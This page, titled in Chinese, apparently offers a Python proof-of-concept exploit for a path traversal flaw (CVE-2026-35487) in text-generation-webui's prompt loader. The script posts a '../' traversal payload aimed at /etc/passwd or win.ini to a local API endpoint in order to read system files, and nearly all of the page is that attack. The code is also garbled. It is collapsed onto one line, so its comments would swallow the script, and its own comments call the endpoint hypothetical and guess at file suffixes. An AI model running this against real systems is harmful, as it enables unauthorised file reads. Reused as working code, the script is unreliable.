CVE-2026-35487 text-generation-webui路径遍历漏洞

import requests # Exploit Title: CVE-2026-35487 text-generation-webui Path Traversal PoC # Description: Unauthenticated path traversal allows reading any .txt file via load_prompt() # Target configuration target_host = "http://127.0.0.1:5000" # The vulnerability exists in the load_prompt functionality. # Attackers can traverse directories using '../' sequences. # Note: The vulnerability description specifies it reads any .txt file. malicious_payload = { # Attempting to read a sensitive file (e.g., config.txt located in parent directories) "prompt_file": "../../../../../etc/passwd.txt" # If the system reads /etc/passwd (without .txt), try targeting a known .txt file location. # Example: "../../../../../windows/win.ini" if the app appends .txt automatically. } print(f"[*] Attempting to exploit {target_host}...") try: # Sending the request to the hypothetical endpoint response = requests.post(f"{target_host}/api/v1/load-prompt", data=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Request successful! Check response content below:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")